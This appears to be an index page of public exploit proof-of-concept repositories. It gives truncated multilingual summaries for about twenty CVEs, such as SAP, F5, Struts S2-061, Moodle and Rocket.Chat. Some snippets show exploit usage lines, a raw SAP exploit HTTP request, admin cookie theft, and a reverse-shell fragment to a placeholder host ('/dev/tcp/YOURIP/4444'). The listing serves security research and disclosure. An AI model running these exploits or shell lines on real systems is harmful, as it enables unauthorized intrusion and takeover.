cve-2020-0796

Выявление и устранение уязвимости CVE-2020-0796 на лету CVE-2020-0796 — это уязвимость, приводящая к удаленному выполнению кода, которая находится в протоколе сетевой связи SMBv3 Server Message Block 3.0, и которую Microsoft не исправит в рамках мартовского вторника 2020 года. Использование pytho...

CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, SAP 익스플로잇 POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type: multipart/form-data...

CVE-2022-42475

CVE-2022-42475 Предыстория Это эксплойт для статьи в блоге: https://bishopfox.com/blog/exploit-cve-2022-42475 Урезанная версия Эта версия эксплойта не будет работать без того, чтобы вы, хакер, предоставили необходимые адреса памяти для ROP-гаджетов и т.д. Работа по определению этих данных являетс...

Exploit for Out-of-bounds Write in Apple Ipados

🛡️ CVE-2026-86950 — CoreGraphics Security Research...

f5_rce_poc

사용 python3 f5rce.py -u 대상 URL 지정 -f 일괄 탐지 파일 -c 명령 실행 -s/--ssrf ssrf를 통해 token을 획득하여 명령 실행 실행 결과는 다음과 같습니다: python3 f5rce.py -u 127.0.0.1 --ssrf 명령 실행 후 exit를 입력하면 종료됩니다 PS: 출력이 예쁘지 않아서 수정하겠습니다 😁 후속 업데이트: 일부 명령 실행 오류 상황 수정 SSRF로 Token을 획득하여 명령 실행 기능 추가 1. 정규식 매칭, 출력 다듬기 2. 다른 poc 활용 방식 업데이트 참조...

PoC-CVE-2025-26529

CVE-2025-26529 PoC – Moodle XSS to RCE 익스플로잇 이것은 Moodle에서 SSRF to XSS → XSS to RCE 취약점 체인을 시연하는 개념 증명PoC입니다. 개요 전체 익스플로잇 체인을 시연하는 데 필요한 모든 파일을 업로드했습니다: 1. SSRF to XSS 2. 관리자 쿠키 탈취 3. 관리자 쿠키를 사용하여 Moodle에서 원격 코드 실행RCE 달성 Moodle 버전 4.4.5 Build: 20241209에서 테스트했습니다. 중요한 지침 진행하기 전에 파일을 주의 깊게 검토하십시오. I...

CVE-2021-26295

CVE-2021-26295-POC DNSlog을 활용하여 CVE-2021-26295 취약점을 검증합니다. 사용법 poc: 대상 IP를 target.txt에 넣은 후 python poc.py를 실행하면 됩니다. JDK 환경은 12 미만이어야 합니다. 그렇지 않으면 ysoserial이 정상적으로 payload를 생성할 수 없습니다. exp: python exp.py https://baidu.com를 실행한 후 명령 실행 인터페이스로 진입합니다. 출력 없음 학습 및 교류 목적으로만 사용하시고, 다른 용도로 사용하지 마십시오...

Text4shell--Automated-exploit---CVE-2022-42889

Maven 설치 - maven-linux //자동 해킹용: 1../install.sh 2../exploit.sh 3.애플리케이션을 제거하려면 ./stopapp.sh를 사용하세요. //수동 해킹용: 1. fat jar 생성을 위한 Maven 설치 mvn clean install 2. Docker 빌드 docker build --tag=text4shell . 3. Docker 실행 docker run -p 80:8080 text4shell 4. 앱 테스트 http://localhost/text4shell/attack?search=...

CVE-2023-51214

제안된 설명 크로스 사이트 스크립팅Cross Site Scripting 취약점이 Implementing an Activity Log in Your Web App Using PHP v.1에 존재하여, 원격 공격자가 URL에 조작된 페이로드를 통해 임의 코드를 실행할 수 있습니다. 취약점 유형 크로스 사이트 스크립팅 XSS 제품 공급업체 sourcecodester.com 영향받는 제품 코드 베이스 Implementing an Activity Log in Your Web App Using PHP - v1 영향받는 구성 요소 URL ...

CVE-2020-1493

CVE-2020-1493 Эта уязвимость возникает в Outlook 2019 16.0.12624.20424 на Windows 10 1909 x64. Кроме того, уязвимость является zero click. TLDR; Я нашёл эту ошибку с помощью фаззера winafl. Ошибка возникает при разборе файла ms-tnef, вложения eml-файла. Уязвимый метод считывает и использует данны...

CVE-2020-17530

Что это Это простой тестовый проект для S2-061, который можно использовать для анализа деталей этой уязвимости. Как использовать Шаг 1:Используйте IDEA для импорта этого проекта Шаг 2:Настройте сервер Tomcat Шаг 3:Используйте браузер для доступа к...

CVE-2026-33017-Langflow-RCE

██╗ ██╗ ██████╗ ███████╗███████╗ ██████╗ ██████╗ ██████╗ ███████╗ ██║ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔═══██╗██╔════╝ ██║ ██║██║ ██║███████╗███████╗██║ ██║██║ ██║██║ ██║███████╗ ╚██╗ ██╔╝██║ ██║╚════██║╚════██║██║ ██║██║ ██║██║ ██║╚════██║ ╚████╔╝...

CVE-2021-22204

CVE-2021-22204 Описание Неправильная нейтрализация пользовательских данных в формате файлов DjVu в ExifTool версий 7.44 и выше позволяет выполнять произвольный код при разборе вредоносного изображения. Скрипт Ссылка на скрипт Использование скрипта: Системная команда: bash CVE-2021-2204.sh...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua 샌드박스 우회 명령 실행 사용법 python3 CVE-2022-0543.py...

ThemeBleedPy

gabek님께서 C으로 최초 PoC를 작성하고 이 CVE를 실제로 발견해 주신 데 대해 큰 감사를 드립니다. 이는 그의 코드를 파이썬으로 다시 구현하고 그의 스테이지 파일을 재사용한 것입니다. 초기 PoC를 확인하려면 여기에서 그의 페이지를 방문하세요: https://github.com/gabe-k/themebleed ThemeBleedPy CVE-2023-38146 "ThemeBleed"에 대한 파이썬 기반 개념 증명입니다. 요구 사항: 이 프로그램은 Impackets SMB 서버를 사용하며, smb2Create 함수를...

CVE-2024-4879

CVE-2024-4879 Эксплойт и PoC - Шаблон Nuclei CVE-2024-4879 - Уязвимость внедрения шаблонов Jelly в ServiceNow ServiceNow устранил уязвимость проверки входных данных, обнаруженную в выпусках платформы Vancouver и Washington DC Now Platform. Эта уязвимость могла позволить неаутентифицированному...

CVE-2022-24112

CVE-2022-24112: Apache APISIX 원격 코드 실행 취약점 go run apisix-exploit.go -t -c 참고: https://nvd.nist.gov/vuln/detail/CVE-2022-24112 https://lists.apache.org/thread/dzmgf0bwfmt58rfbz611gqo2b56qyqwq...

CVE-2020-17530

S2-061 스크립트는 모두 vulhub의 struts2-059/061 취약점 테스트 환경을 기준으로 작성되었으며, 일반적이지 않으니 고수분들의 많은 조언 부탁드립니다. struts2-061-poc.py 간단한 시스템 명령 실행 가능 사용법: python struts2-061-poc.py http://ip:port command 예시: python struts2-061-poc.py http://192.168.0.7:8080 whoami S2-061-shell.py 리버스 셸 가능 사용법: 1. 먼저 머신 A에서 지정된 포트를...

CVE-2021-32099

CVE-2021-32099 PoC 이 저장소는 CVE-2021-32099 취약점에 대한 개념 증명PoC 익스플로잇을 제공하며, Pandora FMS 742 에 영향을 미칩니다. 이 익스플로잇은 인증되지 않은 공격자가 SQL 삽입 취약점을 악용하여 권한이 없는 세션을 관리자 수준 계정으로 승격시킬 수 있는 방법을 보여줍니다. 관리자 액세스 권한을 획득하면 공격자는 Pandora FMS 파일 관리자를 통해 임의의 PHP 파일을 업로드하여 원격 코드 실행을 유발하고 웹 서버 사용자 권한으로 서버를 손상시킬 수 있습니다. ⚠️ 면책 조...

CVE-2021-22911-RocketChat

CVE-2021-22911 — Rocket.Chat 3.12.1 RCE（即興） 概要 Rocket.Chat 3.12.1 の認証前のNoSQLインジェクションの脆弱性を悪用して、管理者のTOTPシークレットとパスワードリセットトークンを漏洩させ、管理者アカウントを乗っ取り、悪意のあるWebhook統合を介してRCEを達成します。 影響を受けるバージョン Rocket.Chat & /dev/tcp/YOURIP/4444 0&1' 引数 フラグ| 説明 ---|--- -t| ターゲットのRocket.Chat URL -u| 登録済みの低権限ユーザー名 -p|...